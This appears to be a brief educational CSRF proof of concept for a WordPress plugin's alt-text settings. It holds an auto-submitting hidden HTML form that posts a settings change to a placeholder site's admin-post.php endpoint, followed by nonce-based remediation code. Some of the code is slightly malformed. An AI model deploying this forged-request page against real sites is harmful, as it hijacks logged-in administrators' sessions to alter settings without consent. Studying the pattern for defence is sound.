# CSRF PoC - Conceptual demonstration only
# This code is for educational and defensive purposes

# Vulnerable request pattern (what an attacker might attempt):
'''
<-html>
<head>
    <title>CSRF Attack Demo</title>
</head>
<body>
    <h3>Image Alt Text Configuration Change</h3>
    <form action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST" id="csrf-form">
        <input type="hidden" name="action" value="auto_alt_text_settings">
        <input type="hidden" name="alt_text_source" value="malicious_value">
        <input type="hidden" name="submit" value="Save Changes">
    </form>
    <script>
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>
'''

# Defensive implementation (what developers should do):
'''
# 1. Add CSRF token to forms
wp_nonce_field('auto_alt_text_settings_save', 'csrf_token');

# 2. Verify token on form processing
if (!wp_verify_nonce($_POST['csrf_token'], 'auto_alt_text_settings_save')) {
    wp_die('Security check failed');
}

# 3. Use WordPress nonces for AJAX requests
global $wpdb;
$nonce = wp_create_nonce('auto_alt_text_ajax_nonce');
echo '<script>var ajaxNonce = "' . esc_js($nonce) . '";</script>';
